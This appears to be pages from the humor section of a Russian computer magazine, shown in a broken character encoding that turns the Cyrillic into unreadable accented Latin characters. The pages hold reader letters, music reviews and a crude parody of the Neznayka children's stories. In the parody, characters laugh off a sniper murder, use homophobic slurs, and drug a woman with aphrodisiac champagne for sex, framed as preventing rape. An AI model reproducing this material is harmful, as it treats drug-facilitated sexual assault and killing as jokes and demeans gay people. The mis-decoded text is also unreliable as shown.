Êèáîðãó æå ïîñîâåòóåì íà÷àòü ñ àçîâ: êóïè êíèãó ïî àðõèòåêòóðå è óñòðîéñòâó<br />

PC, ïîòîì ïî÷èòàé ïðî ÎÑè, ïîñëå ýòîãî òåáå íàâåðíÿêà çàõî÷åòñÿ<br />

çàíÿòüñÿ êîäèíãîì, íó à äàëüøå òû è ñàì ðàçáåðåøüñÿ. Êîí÷àòü æå ïðè<br />

ýòîì ñîâñåì íå îáÿçàòåëü íî :).<br />

From: Äìèòðèé CCCC ! [dopefish2001@mail.ru]<br />

Subject:<br />

âû ïèñàëè â íîìåðå ver02.03(50) "êàê íàéòè ip ëàìåðà"<br />

îòâåòüòå ïîæàëóéñòà êàê íàéòè ip õàêåðà?<br />

 íàø çàë ñëàâû "Ä" ïîïàë Äìèòðèé ñî ñòðàííîé<br />

ôàìèëèåé "ÑÑÑÑ !". Ïîñîâåòîâàâøèñü ñ Êóòòåðîì, ìû<br />

ïðèøëè ê âûâîäó, ÷òî ïîèñê ip õàêåðà -<br />

ôóíäàìåíòàëüíàÿ ïðîáëåìà òåîðåòè÷åñêîãî âçëîìà. Ê<br />

ñîæàëåíèþ, ñîâðåìåííûé óðîâåíü ðàçâèòèÿ íàóêè íå<br />

ïîçâîëÿåò äàòü îäíîçíà÷íîãî îòâåòà íà ïîñòàâëåííûé<br />

âîïðîñ. Òàê ÷òî, ïðèäåòñÿ æäàòü ëó÷øèõ âðåìåí.<br />

Tips&Tricks<br />

Âîò è íàñòàë êîíåö ãîäà,<br />

ïîðà îáúÿâèòü ñàìîãî<br />

àêòèâíîãî ÷èòàòåëÿ, êîòîðûé<br />

ïîëó÷èò îáåùàííûå<br />

$100! Ïóòåì ñëîæíûõ<br />

àðèôìåòè÷åñêèõ<br />

ðàñ÷åòîâ ìíîé óñòàíîâëåí<br />

ïîáåäèòåëü ïî èìåíè<br />

Garik<br />

(http://www.webhowto.ru/<br />

reg)! Êèäàåì ñåðïàíòèí,<br />

õëîïàåì õëîïóøêè, ïüåì<br />

øàìïàíñêîå... Â áëèæàéøèå<br />

äíè ÿ ëè÷íî ñ<br />

íèì ñâÿæóñü è ìû äîãîâîðèìñÿ,<br />

â êàêîé âàëþòå<br />

îí ïîëó÷èò çàñëóæåííûå<br />

äåíüãè :). Íàäî ÷åñòíî<br />

ïðèçíàòü, ÷òî ïî êîëè÷åñòâó<br />

íàïå÷àòàííûõ ñîâåòîâ<br />

îí ñîâñåì íåäàëåêî<br />

óøåë îò äðóãèõ ïðåòåíäåíòîâ,<br />

çàòî åãî ñîâåòû<br />

îòëè÷àëèñü îðèãèíàëüíîñòüþ<br />

è ïîÿâëÿëèñü íå<br />

òîëüêî â æóðíàëå, íî è<br />

íà íàøåì ñàéòå. Ïîýòîìó<br />

âñåõ îñòàëüíûõ ó÷àñòíèêîâ<br />

ìû ïðîñòî ïîçäðàâëÿåì,<br />

æìåì ðóêè (äåâóøåê<br />

öåëóåì) è æåëàåì<br />

óäà÷è â ñëåäóþùåì ãî-<br />

äó, à òàêæå ïðèçûâàåì<br />

íîâûõ ñîâåò÷èêîâ ïðèíÿòü<br />

ó÷àñòèå â îáìåíå<br />

îïûòîì íà ñòðàíèöàõ íàøåãî<br />

æóðíàëà è íà ñàéòå!<br />

Óäà÷è, è ïîîñòîðîæíåé<br />

ñî ñïèðòíûìè íàïèòêàìè<br />

è ïðàâîîõðàíèòåëüíûìè<br />

îðãàíàìè â ïðàçäíèêè<br />

- ìû íå õîòèì<br />

îñòàòüñÿ áåç ÷èòàòåëåé<br />

;).<br />

Âåäóùèé ñàìîé<br />

íàðîäíîé ðóáðèêè -


Þíèòû<br />

ÕÓÌÎÐ<br />

Äàíèèë Øåïîâàëîâ<br />

Ïîâåëèòåëü ïñèõîìàòðèö ãåíåòè÷åñêè<br />

ìîäèôèöèðîâàííûõ îñëèêîâ<br />

(dan@real.xakep.ru , www.danya.ru)<br />

ÍÅÇÍÀÉÊÀ ’2003<br />

VVIIOOLLEENNCCEE EEDDIITTIIOONN<br />

1 2 3 4<br />

104 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Ïîí÷èê ñèäåë â ìàêäàêå è, êàïàÿ ìàéîíåçîì íà<br />

øòàíû, çàïèõèâàë â ñåáÿ äâîéíîé ÷èçáóðãåð,<br />

êîãäà ðàçäàëñÿ øóì âèíòîâ äâóõ âåðòîëåòîâ, îñâåòèâøèõ<br />

çàáåãàëîâêó ìîùíûìè ïðîæåêòîðàìè.<br />

Åùå ÷åðåç ìãíîâåíèå ãðîìàäíûé ïðîìûøëåííûé<br />

ýêñêàâàòîð ðàçíåñ ñâîèì òÿæåëûì êîâøîì<br />

ïîëîâèíó ìàêäàêà…<br />

Äíåì ðàíåå…<br />

Íåçíàéêà íåòîðîïëèâî øåë ïî óëèöå, ïîäìåòàÿ<br />

ïûëüíûé àñôàëüò øèðîêèìè êëåøàìè, è ëåíèâî<br />

ïîèãðûâàë ôèíêîé. Ðÿäîì ñåìåíèëè Òîðîïûæêà<br />

è Ñèðîï÷èê. Òîðîïûæêà âîëî÷èë çà ñîáîé<br />

ïî àñôàëüòó ìàññèâíóþ öåïü, à Ñèðîï÷èê<br />

ïðÿòàë â êàðìàíå ñâîåé çàñðàíîé êóðòî÷êè<br />

ôëÿãó ñ ïîðòâåéíîì.<br />

Íåçíàéêà îñòàíîâèëñÿ îêîëî âèòðèíû îäíîãî èç<br />

ìàãàçèí÷èêîâ: â íåé êðàñîâàëñÿ ïîðòðåò Ïèëþëüêèíà<br />

â ôàñ è ïðîôèëü, à ÷óòü âûøå âèäíåëàñü<br />

íàäïèñü “ÐÀÇÛÑÊÈÂÀÅÒÑß ÆÈÂÛÌ ÈËÈ<br />

ÌÅÐÒÂÛÌ!”. Îêîëî ãîäà íàçàä Ïèëþëüêèí âìåñòå<br />

ñ Âèíòèêîì ïåðåæðàëè ïèëþëåê, ïîñëå ÷åãî<br />

îäåëèñü â íàöèñòñêóþ óíèôîðìó, óêðàëè â ìóçåå<br />

øìàéñåð è òðåõêîëåñíûé ìîòîöèêë ñ êîëÿñêîé, à<br />

çàòåì ïîåõàëè äåáîøèðèòü. Ñ òåõ ïîð â Öâåòî÷íîì<br />

ãîðîäå ìíîãîå èçìåíèëîñü… Âîð÷óí íàøåë<br />

ó ñåáÿ âî äâîðå íåôòü è îòêðûë ñåòü çàáåãàëîâîê.<br />

Ãóñëÿ ñîçäàë ðîê-ãðóïïó “Àíàëüíàÿ ×åñîòêà”<br />

è êîëåñèë ñ êîíöåðòàìè ïî áëèçëåæàùèì ãîðîäêàì.<br />

À ìàëûøêà ïî èìåíè Ñèíåãëàçêà íàðÿäó<br />

ñ áîðäåëåì îòêðûëà ôàáðèêó ïî ïðîèçâîäñòâó<br />

äîïîëíèòåëüíûõ ôèøåê äëÿ Áàðáè è Êåíà: ìèíèàòþðíûõ<br />

áðûçãàþùèõñÿ ÷ëåíîâ, íàðó÷íèêîâ<br />

è ïðî÷èõ íàâîðî÷åííûõ ïðèìî÷åê.<br />

Âíåçàïíî ïî äîðîãå ìèìî íåçíàéêèíîé áàíäû<br />

ïðîíåñëàñü ãðîìàäíàÿ ìàøèíà, îáäàâ èõ ñ íîã äî<br />

ãîëîâû ãðÿçüþ.<br />

- Àõ òû äðÿíü! – êðèêíóë â ñåðäöàõ Íåçíàéêà è<br />

ïîãðîçèë óäàëÿþùåéñÿ òà÷êå êóëàêîì.<br />

Âèäèìî âîäèòåëü çàìåòèë åãî æåñò: ìàøèíà îñòàíîâèëàñü<br />

è íåìåäëåííî äàëà çàäíèé õîä.<br />

Ïîäúåõàâ, îíà åùå ðàç õîðîøåíüêî îáäàëà êîðîòûøåê<br />

ãðÿçüþ. Íåçíàéêà âûòåð ëèöî ðóêàâîì<br />

ñâîåé îðàíæåâîé ðóáàøêè è îñìîòðåëñÿ: ïåðåä<br />

íèì ñòîÿë õàììåð Âîð÷óíà. Îòêóäà-òî èçíóòðè<br />

õàììåðà äîíîñèëñÿ îãëóøèòåëüíûé èçðàèëüñêèé<br />

ðýïàê, à èç ùåëåé â îêíàõ âàëèëè ãóñòûå êëóáû<br />

ãîëóáîãî äûìà. Îäíî èç ñòåêîë ìåäëåííî îïóñòèëîñü,<br />

è Íåçíàéêà ðàçãëÿäåë íà çàäíåì ñèäåíüå<br />

Âîð÷óíà: ðÿäîì ñ íèì ñèäåëà Ñèíåãëàçêà â âå-<br />

÷åðíåì ïëàòüå c ãëóáîêèì äåêîëüòå, à íà óðîâíå<br />

æèâîòà êîðîòûøêè îæèâëåííî äâèãàëàñü ââåðõâíèç<br />

áëîíäèíèñòàÿ øåâåëþðà Êíîïî÷êè. Âîð÷óí<br />

ñëåãêà çàìåøêàëñÿ, îòñòðàíÿÿ Êíîïî÷êó, à çàòåì<br />

îòêðûë äâåðü è âûøåë èç ìàøèíû. Íà íåì áûë<br />

øèêàðíûé ñìîêèíã, à íà ãîëîâå êîðîòûøêè êðàñîâàëèñü<br />

ïåéñû è êèïà. Âîð÷óí âûïëþíóë â ñòîðîíó<br />

çäîðîâåííûé äæîéíò, òêíóë â Íåçíàéêó<br />

òðîñòüþ ñ ïëàòèíîâûì íàáàëäàøíèêîì è, ñëåãêà<br />

êàðòàâÿ, ïðîèçíåñ:<br />

- Íåò, âû òîëüêî ïîñìîò’ãèòå íà ýòîãî ïîöà! Îí<br />

òàêè äóìàåò, ÷òî ìîæåò äåëàòü â ýòîì ãîðîäå âñå,<br />

÷òî çàõî÷åò! Íó-êà áûñò’ãî êàæäûé îòæàëñÿ 150<br />

‘ãàç!<br />

- Äà, ñýð! Êàê ñêàæåòå, ñýð! - Òîðîïûæêà è Ñèðîï-<br />

÷èê òóò æå óïàëè íà çåìëþ è ïðèíÿëèñü ýíåðãè÷íî<br />

îòæèìàòüñÿ.<br />

Íåçíàéêà â îòâåò ëèøü âûïÿòèë ãðóäü è êðåï÷å çàæàë<br />

ìåæäó çóáàìè ñâîþ çàìóñîëåííóþ ïàïèðîñó.<br />

- Äà, Âîð÷óí – êðóòàí! – íàðóøèë ñêîðáíîå<br />

ìîë÷àíèå Ñèðîï÷èê, êîãäà õàììåð ñêðûëñÿ çà<br />

ïîâîðîòîì. - Âîò áû íàì âîëøåáíóþ ïàëî÷êó,<br />

ìû áû òîãäà òîæå ñ ìàíåðíûìè òåòêàìè íà êðóòûõ<br />

òà÷êàõ åçäèëè!<br />

Íåçíàéêà ïîäíÿëñÿ ñ àñôàëüòà, âûïëþíóë îêðîâàâëåííûé<br />

çóá, ïîïûòàëñÿ ñòåðåòü ñî ñâîåé øëÿïû<br />

ñëåä àâòîìîáèëüíîé øèíû, çàòåì íåäîáðî<br />

ïîñìîòðåë íà Ñèðîï÷èêà è áðîñèë:<br />

- Ëó÷øå óæ òîãäà âîëøåáíûé ñòâîë!<br />

Ïðîñòîâàòûé Ñèðîï÷èê íå îöåíèë èðîíèþ áîññà:<br />

- Íå, ëó÷øå ïàëî÷êó! ß ïðî íåå â êíèæêå ÷èòàë.<br />

Âçìàõíóë, ïîæåëàë ÷åãî-íèáóäü è ðàç – æåëàíèå<br />

òóò æå èñïîëíèëîñü!<br />

ÐÓÁÐÈÊÀ «ß ÏËÀÊÀË<br />

[È ÁÈËÑß ÃÎËÎÂÎÉ Î ÑÒÅÍÓ]»<br />

ñàìîå-ñàìîå ïèñüìî Äàíå<br />

from: Petrov Pavel <br />

subj: Ïðèãëàøåíèå ê ñîòðóäíè÷åñòâó<br />

Çäðàâñòâóéòå, óâàæàåìûé Äàíèèë<br />

Øåïîâàëîâ!<br />

Íåäàâíî ÿ îçíàêîìèëñÿ ñ Âàøèìè<br />

ñòàòüÿìè â æóðíàëå "Õàêåð" è äîëæåí<br />

îòìåòèòü Âàø âåñüìà âûñîêèé óðîâåíü â<br />

òåîðèè êîíòðîëèðóåìîé øèçîôðåíèè.<br />

Âàøè çíàíèÿ ìîãóò óñêîðèòü ðàçâèòèå<br />

ýòîé îòíîñèòåëüíî ìîëîäîé îòðàñëè<br />

ïñèõîëîãè÷åñêîé íàóêè. ß ïðåäëàãàþ Âàì<br />

ñîòðóäíè÷åñòâî ñ ðóññêîÿçû÷íîé âåðñèåé<br />

æóðíàëà "Jahrbuch fur psihoanalitik und<br />

psihopatalogik", êîòîðàÿ íàçûâàåòñÿ<br />

"Âîïðîñû ïñèõèàòðèè è åå ïðèëîæåíèé".<br />

Ñóäÿ ïî Âàøèì ñòàòüÿì, ó Âàñ ñêîïèëñÿ<br />

îãðîìíûé àðõèâ ïèñåì ÷èòàòåëåé,<br />

êîòîðûå áóäóò âåñüìà èíòåðåñíû<br />

÷èòàòåëÿì íàøåãî æóðíàëà, à òàêæå<br />

ó÷åíûì Èíñòèòóòà Ïðèêëàäíîé è Îáùåé<br />

Ïñèõîëîãèè ÐÀÌÍ. Ìû íå ñîìíåâàåìñÿ â<br />

íàëè÷èè ó Âàñ âûñøåãî ïñèõîëîãè÷åñêîãî<br />

îáðàçîâàíèÿ, à âîçìîæíî è ó÷åíîé<br />

ñòåïåíè. Èíñòèòóò íàõîäèòñÿ ïî àäðåñó ã.<br />

Ìîñêâà, óë. Ìàðøàëà Øàïîøíèêîâà, ä. 15,<br />

êîðïóñ 2.  ðàáî÷åå âðåìÿ ìåíÿ òàì<br />

ìîæíî íàéòè â êàáèíåòå ¹328. Åñëè ìåíÿ<br />

òàì íå îêàæåòñÿ, òî ìîæíî ñïðîñèòü íà<br />

âàõòå çàâ. Îòäåëà Òåîðèè Êîíòðîëèðóåìîé<br />

Øèçîôðåíèè. Íî ÷òîáû èçáåæàòü<br />

ïîäîáíûõ ðàñõîæäåíèè - íàïèøèòå ìíå,<br />

êîãäà Âàì óäîáíî ïðèåõàòü. Êñòàòè - åñëè<br />

ó âàñ íåò ó÷åíîé ñòåïåíè - â÷åðà ó íàñ â<br />

Èíñòèòóòå íà÷àë ðàáîòó Ñîâåò ïî çàùèòå<br />

äîêòîðñêèõ äèññåðòàöèé â îáëàñòè<br />

ïðèêëàäíîé ïàðàïñèõîëîãèè è<br />

ïñèõîãåíåòèêè. Äèàïàçîí òåì î÷åíü<br />

øèðîêèé, ò.ê. òåîðèÿ êîíòðîëèðóåìîé<br />

øèçîôðåíèè îòíîñèòåëüíî ìîëîäàÿ<br />

îòðàñëü ïñèõîëîãèè, è ðàìêè èçó÷àåìûõ<br />

åþ ïðîöåññîâ äî êîíöà íå<br />

ñôîðìèðîâàëèñü. Âû, ñóäÿ ïî Âàøèì<br />

ïóáëèêàöèÿì, ìîæåòå áåç ïðîáëåì<br />

çàùèòèòüñÿ, íàïðèìåð, ïî òàêîé òåìå êàê<br />

"Êîíòðîëèðóåìûå ñàìîâíóøåíèÿ" èëè<br />

"Îñîáåííîñòè ðàçëè÷èÿ ìåæäó<br />

êîíòðîëèðóåìûìè<br />

ïñèõîíåâðîëîãè÷åñêèìè ïðîöåññàìè ó<br />

îñîáåé ðàçëè÷íûõ ïîëîâ". Íàø Èíñòèòóò<br />

íîìèíèðóåòñÿ íà ãðàíò ïî èññëåäîâàíèÿì<br />

â îáëàñòè ñóáêóëüòóðíîãî ðàçëè÷èÿ<br />

êîíòðîëèðóåìûõ ýôôåêòîâ<br />

ñàìîâíóøåíèÿ, ïîýòîìó èññëåäîâàíèÿ â<br />

ýòîé îáëàñòè òàêæå âåñüìà ïåðñïåêòèâíû.<br />

Åñëè Âàñ çàèíòåðåñîâàëî íàøå<br />

ïðåäëîæåíèå, òî ñâÿæèòåñü ñî ìíîé ïî email:<br />

p_petrov@mail.ru.<br />

-<br />

Ïîíÿòíî. È ãäå òàêóþ äîñòàòü ìîæíî? Â òâîåé<br />

êíèæêå áûëî íàïèñàíî?<br />

Ñèðîï÷èê ïî÷åñàë â çàòûëêå:<br />

- Íåò, íå áûëî. Íî ÿ äóìàþ, Çíàéêà çíàåò…<br />

X-MUSIC<br />

Ìóçûêà äëÿ õàêåðà<br />

Êîìàíäà: Ñïëèí<br />

(www.spleanonline.ru)<br />

Ïëàñòèíêà:"Íîâûå ëþäè"<br />

Ðåëèç:Sony Music<br />

Ðåàëüíûé õèò: "Íîâûå<br />

ëþäè"<br />

Êîìïàíèÿ Sony Music<br />

ïðåäñòàâëÿåò âíèìàíèþ<br />

òâîèõ óøåé íîâûé àëüáîì<br />

ãðóïïû Ñïëèí ïîä íàçâàíèåì<br />

«Íîâûå Ëþäè». Êîìïàêò ïðîñòî ñóïåðñêèé.<br />

Ñëóøàòü îáÿçàòåëüíî. Âîò ïîñìîòðèøü,<br />

åùå ñàì èëè ñ äðóãàíàìè íå ðàç ïðîãîðëàíèøü<br />

òîò æå ñàìûé "Ãàíäáîë" èëè åùå ÷òî-íèáóäü.<br />

Íó à êëèï, êîòîðûé ñíÿëè íà "Íîâûõ ëþäåé" è êðóòÿò<br />

íà ìóçûêàëüíûõ êàíàëàõ - ïðîñòî äîñòîèí îòäåëüíîãî<br />

óïîìèíàíèÿ. Äà, â ïðåññ-ðåëèçå, ïîñâÿùåííîì âûõîäó ïëàñòèíêè<br />

âñòðåòèëîñü ïðèêîëüíåéøåå ïðåäëîæåíèå "À ôðàçó «...äåëàþ<br />

ìèíåò ñâîåìó ìèêðîôîíó...» íàâåðíÿêà åùå íå ðàç îáìóñîëèò<br />

ïèøóùàÿ áðàòèÿ." Ïðîñèëè - îáìóñîëèì, â ÷åì ïðîáëåìà-òî?<br />

Ëèøü áû áîëüøå íà íàñ "ïèøóùèìè áðàòèÿìè" íå îáçûâàëèñü.<br />

Ìóçûêà äëÿ êðÿêåðà<br />

Êîìàíäà: Öåëàÿ ãðóïïà ðàçíîïîëûõ<br />

ãðàæäàí<br />

Ïëàñòèíêà: "Moby. Remix<br />

album"<br />

Ðåëèç: Mute Records, 2000<br />

Ðåàëüíûé õèò: Äà ïî÷òè<br />

êàæäûé<br />

"Remix album", êàê ÿâñòâåííî<br />

ñëåäóåò íåïîñðåäñòâåííî<br />

èç íàçâàíèÿ, çàïîëíåí<br />

äî îòêàçà âñåâîçìîæíûìè<br />

ìèêñàìè<br />

è ðåìèêñàìè íà îòëè÷íî<br />

èçâåñòíûå âî âñåì<br />

ìèðå ìîòèâ÷èêè. Ðåìèêñû<br />

íàâàÿëè òàêèå èçâåñòíûå òîâàðèùè<br />

è ãðóïïû òîâàðèùåé êàê ATB,<br />

Planet Perfecto, Olav Basoski. Íó è ñàì<br />

Moby ëè÷íî òîæå ïðèëîæèë ðóêó-äðóãóþ, çàìèêøèðîâàë<br />

ìàëîñòü ñàìîãî ñåáÿ. Êîðî÷å, åñëè<br />

çíàåøü, êòî òàêîé Moby, òî òåáå òî÷íî ïîíðàâèòñÿ.<br />

Ìóçûêà äëÿ çàïàäëîñòðîèòåëÿ<br />

Êîìàíäà: Çåìôèðà<br />

Ïëàñòèíêà: "14 íåäåëü òèøèíû"<br />

Ðåëèç: Real Records, 2002<br />

Ðåàëüíûé õèò: Ìà÷î<br />

1 àïðåëÿ 2002 ãîäà êîìïàíèÿ Real<br />

Records âûïóñêàåò â ñâåò òðåòèé<br />

àëüáîì Çåìôèðû "14 íåäåëü òèøèíû"<br />

("à èìåííî ñòîëüêî âðåìåíè<br />

óøëî ó Çåìôèðû íà åãî<br />

ñîçäàíèå - ÷åòûðíàäöàòü íåäåëü<br />

àáñîëþòíîé ïîãðóæåííîñòè<br />

â ìóçûêó, íåäåëü çàòâîðíè÷åñòâà,<br />

ñîñðåäîòî-<br />

÷åííîñòè, ïîçíàíèÿ ñåáÿ").<br />

Íîâàÿ ìóçûêà, íîâàÿ<br />

Çåìôèðà, íîâîå<br />

çâó÷àíèå... ãîä íàçàä<br />

æäàëè ÷åãî óãîäíî. È<br />

äîæäàëèñü. Âîò ÷òî ñàìà<br />

Çåìôèðà ïî ïîâîäó àëüáîìà<br />

ñîîáùèëà: "ß íå áûëà óâåðåíà, ÷òî<br />

âûïóùó ýòîò àëüáîì. Ìíå âàæíî áûëî â<br />

ïðèíöèïå ðàçîáðàòüñÿ: íóæíî ýòèì çàíèìàòüñÿ,<br />

íå íóæíî… Çàîñòðèòü ïåðî è íàñòðî-<br />

÷èòü 15 "Ðîìàøåê" íåìóäðåíî. Íî íàäî ñäâèíóòüñÿ<br />

ñ ìåñòà. À ÿ íå ìîãëà. È íå ïîíèìàëà - ïî÷åìó. È íè ñ<br />

òîãî íè ñ ñåãî íàïèñàëà ïåñíþ Infinity. È ïðè÷èíà âñêðûëàñü,<br />

è ñðàçó ïîíÿëà, ÷òî àëüáîì-òî âûïóùó! "Áåñêîíå÷íîñòü"<br />

- çíàê, ÷òî âñå äåëàþ ïðàâèëüíî…"<br />

Ìóçûêà äëÿ warezíèêà<br />

Êîìàíäà: Þòà<br />

Ïëàñòèíêà: "Õìåëü è ñîëîä"<br />

Ðåëèç: Real Records, 2002<br />

Ðåàëüíûé õèò: Ïàäàòü<br />

Ìîæíî, êîíå÷íî, ïîíàïèñàòü ïðî<br />

ýòó ïëàñòèíêó âñÿêèõ îêîëîìóçûêàëüíûõ<br />

ãëóïîñòåé, òèïà, àóòåíòè÷íîå<br />

çâó÷àíèå, ñòèëèñòè÷åñêèé<br />

ìóçûêàëüíûé ñèìáèîç,<br />

èíòîíàöèîííàÿ íàñûùåííîñòü<br />

è ïðî÷èé<br />

õëàì. Íî íåôèã. Íå áóäåì<br />

ìû ýòîãî äåëàòü.<br />

Ëó÷øå ÿ òåáå ïî ñåêðåòó<br />

ñîîáùó, ÷òî àëüáîì<br />

ýòî íå õèòîâûé, íå<br />

ñåíñàöèîííûé è íå äîëãîæäàííûé.<br />

×òî íèêàê íå óìàëÿåò<br />

åãî äîñòîèíñòâ è îñòàâëÿåò öåíèòåëÿì<br />

âîçìîæíîñòü íàñëàäèòüñÿ î÷åíü<br />

÷åñòíûìè ïåñíÿìè â èñïîëíåíèè Þòû.<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 105


Þíèòû<br />

ÕÓÌÎÐ<br />

Äàíèèë Øåïîâàëîâ<br />

Ïîâåëèòåëü ïñèõîìàòðèö ãåíåòè÷åñêè<br />

ìîäèôèöèðîâàííûõ îñëèêîâ<br />

(dan@real.xakep.ru , www.danya.ru)<br />

Çíàéêà ñèäåë çà ñòîéêîé â íîâîì ãåé-<br />

êëóáå “Øèðèíêà”, àðò-äèðåêòîðîì êîòîðîãî áûë<br />

Òþáèê. Çíàéêà çàøåë ñþäà â ïåðâûé ðàç - íà äåëîâóþ<br />

âñòðå÷ó ñ õóäîæíèêîì – è òåïåðü íåóâåðåííî<br />

îãëÿäûâàëñÿ ïî ñòîðîíàì. Íà ñöåíå âîêðóã<br />

øåñòà ïðèçûâíî êðóòèëñÿ Öâåòèê â ÷åðíîì<br />

ëàòåêñå, à ïüÿíûå â äþïåëü Àâîñüêà ñ Íåáîñüêîé<br />

ñ óëþëþêàíüåì ïûòàëèñü çàñóíóòü åìó â òðóñû<br />

íåñêîëüêî çåëåíûõ áóìàæåê.<br />

- Òàê âîò, Çíàéêà, ñìîòðè ñþäà! – Òþáèê äîñòàë èç<br />

ïîðòôåëÿ ÷èñòûé ëèñò áóìàãè è ïðèíÿëñÿ ðèñîâàòü<br />

íà íåì êàêóþ-òî ñõåìó. – Ìû ñ Öâåòèêîì<br />

õîòèì îòêðûòü ïëàòíûé<br />

ïîðíîñàéò è çàøèáàòü íåêèñëîå áàáëî. Äèçàéí ÿ<br />

óæå ñäåëàë, äâèæîê òîæå èìååòñÿ. Íî òóò ïðîáëåìà<br />

îäíà. Äåëî â òîì, ÷òî ñåé÷àñ åñòü âñåãî îäèí<br />

êîíòåíò-ïðîâàéäåð ïîðíîãðàôèè, è âñå ñàéòû òàê<br />

èëè èíà÷å ïîëüçóþòñÿ åãî áàçîé, îòñòåãèâàÿ åìó<br />

ïðîöåíò. À îí, ÿñíîå äåëî, îòñëåæèâàåò âñåõ íà-<br />

÷èíàþùèõ êîíêóðåíòîâ è òîãî… ÷ïîê!<br />

- ×ïîê?<br />

- ×ïîê – ýòî â ëó÷øåì ñëó÷àå. Ïîìíèøü, Ìîë÷óíà<br />

íåäàâíî â òóàëåòå íàøëè? Åðøèêîì, áåäíÿãà,<br />

ïîäàâèëñÿ! Òîæå áèçíåñ ñâîé â èíòåðíåòå õîòåë<br />

íà÷àòü. Òàê âîò, ñåé÷àñ âñå ïîðíî â Öâåòî÷íîì<br />

ãîðîäå êîíòðîëèðóåò Âîð÷óí, è ÿ õî÷ó, ÷òîáû òû<br />

âçëîìàë åãî ñåðâàê! Ñìîæåøü? Ïëà÷ó 10 øòóê!<br />

Âíåçàïíî ÷üÿ-òî ðóêà ñõâàòèëà Çíàéêó çà øèâîðîò<br />

è âûâîëîêëà èç-çà ñòîéêè:<br />

- Àõ, âîò òû ãäå, áîòàíñêàÿ ìîðäà! Ìû òåáÿ ïî<br />

âñåìó ãîðîäó èùåì, à òû, çíà÷èò, â ïåäåðàñòû<br />

ïîäàëñÿ!<br />

Çíàéêà ïîïðàâèë ïàëüöåì î÷êè:<br />

- ß… äà íåò… òû íå ïîíÿë… ó ìåíÿ…<br />

Íåçíàéêà òðÿõàíóë êîðîòûøêó òàê, ÷òî åãî î÷êè<br />

óïàëè íà ïîë, è ïðîäîëæèë:<br />

- Ñèðîï÷èê ñêàçàë, òû çíàåøü, ãäå äîñòàòü âîëøåáíóþ<br />

ïàëî÷êó!<br />

Çíàéêà áëèçîðóêî ïðèùóðèëñÿ:<br />

- Âîëøåáíóþ ïàëî÷êó? Íåò íè÷åãî ïðîùå: íóæíî<br />

ñîâåðøèòü òðè äîáðûõ ïîñòóïêà ïîäðÿä, è<br />

òîãäà â íàãðàäó òåáå äàäóò âîëøåáíóþ ïàëî÷êó!<br />

- Ïîíÿë! Ïîøëè, áðàòâà, äîáðûå ïîñòóïêè ñîâåðøàòü!<br />

– Íåçíàéêà ñìà÷íî íàñòóïèë íà çíàéêèíû<br />

î÷êè è íàïðàâèëñÿ ê âûõîäó.<br />

Îõîòíèê Ïóëüêà åùå ðàç ïåðåñ÷èòàë ïîëó÷åííûå<br />

îò Òþáèêà äåíüãè, óëûáíóëñÿ ùåðáàòûì<br />

ðòîì è ïðèíÿëñÿ íàëàæèâàòü îïòè÷åñêèé ïðèöåë.<br />

Îí ñèäåë íà êðûøå ïåðåä îôèñîì êîìïàíèè<br />

“Ìåäóíèöà ôàðìàñüþòèêàëñ” ñî ñíàéïåðñêîé<br />

âèíòîâêîé è æäàë ïðèåçäà Âîð÷óíà. Âíåçàïíî<br />

íà æåëåçíîé ëåñòíèöå, âåäóùåé íà êðûøó,<br />

ïîñëûøàëèñü ãóëêèå øàãè, è èç-çà êîçûðüêà<br />

ïîêàçàëàñü íåçíàéêèíà áàíäà.<br />

- Ïóëüêà, çäîðîâî!<br />

- È òû, Íåçíàéêà, íå áîëåé! – Ïóëüêà íåçàìåòíî<br />

ïðîòÿíóë ðóêó ê ñâîåé ÷åðíîé ñóìêå çà ÓÇÈ.<br />

- Ñëóøàé, òû ïðîñòè, ÷òî ìû òîãäà òâîåãî Áóëüêó<br />

íà øàâåðìó ñäàëè – î÷åíü äåíüãè íóæíû áûëè!<br />

À ñåé÷àñ ìû äîáðûå ïîñòóïêè ñîâåðøàåì! Äàâàé<br />

âîò òåáå ïîìîæåì! – Íå äîæèäàÿñü îòâåòà, Íåçíàéêà<br />

âûðâàë èç ðóê Ïóëüêè ñíàéïåðñêóþ âèíòîâêó,<br />

ëåã íà òåïëûé ãóäðîí è íà÷àë ñêàíèðîâàòü<br />

â îïòè÷åñêèé ïðèöåë óëèöó. Íà íåé áûëî<br />

àáñîëþòíî ïóñòî, òîëüêî Òþáèê øåë êóäà-òî ïî<br />

äåëàì, íàñâèñòûâàÿ ñåáå ïîä íîñ ïåñåíêó. Íåçíàéêà<br />

ïîâåðíóëñÿ ê Ïóëüêå è âåñåëî áðîñèë:<br />

– Ïðàâèëüíî, äàâíî ïîðà ýòîãî ïåäà çàìî÷èòü!<br />

Çàòåì ïðèöåëèëñÿ è ïëàâíî íàæàë íà êóðîê…<br />

Íåçíàéêà ñèäåë íà îáî÷èíå õàéâåÿ îêîëî<br />

ìàêäàêà è íåäîâîëüíî êèäàëñÿ êàìíÿìè â ïðîåçæàþùèå<br />

ìàøèíû.<br />

- Íåò, Ñèðîï÷èê, ÿ æå âñå ïðàâèëüíî ñäåëàë! Òðè<br />

äîáðûõ ïîñòóïêà – âñå êàê íàäî! Ïóëüêå ïîìîã<br />

Òþáèêà çàìî÷èòü – ðàç. Êíîïî÷êó îò èçíàñèëîâàíèÿ<br />

ñïàñ – äâà.<br />

- Ýòî êàê æå òû åå ñïàñ, áðàòåö?<br />

- À ÿ åå øàìïàíñêèì ñî øïàíñêîé ìóøêîé íàêà-<br />

÷àë, è îíà ìíå ñàìà äàëà. Èíà÷å áû îáÿçàòåëüíî<br />

èçíàñèëîâàë!<br />

- Íó ëàäíî. À òðåòèé êàêîé? – ñïðîñèë Ñèðîï÷èê<br />

îòõëåáíóâ èç ôëÿãè ïîðòâåéíà.<br />

- Òðåòèé… À òðåòèé ñåé÷àñ áóäåò. Âîí âèäèøü,<br />

Ïîí÷èê â ìàêäàê èäåò? Ñåé÷àñ ìû äëÿ íåãî êàêîé-íèáóäü<br />

äîáðûé ïîñòóïîê ñîâåðøèì.<br />

Íåçíàéêà ïîäíÿëñÿ ñ àñôàëüòà è êðèêíóë:<br />

- Ýé, æèðòðåñò, èäè ñþäà!!!<br />

Ïîí÷èê, çàìåòèâ Íåçíàéêó, õîòåë áûëî òóò æå<br />

ïîäîðâàòüñÿ è óáåæàòü, íî, ïîäóìàâ, ðåøèë, ÷òî<br />

åãî âñå ðàâíî äîãîíÿò.<br />

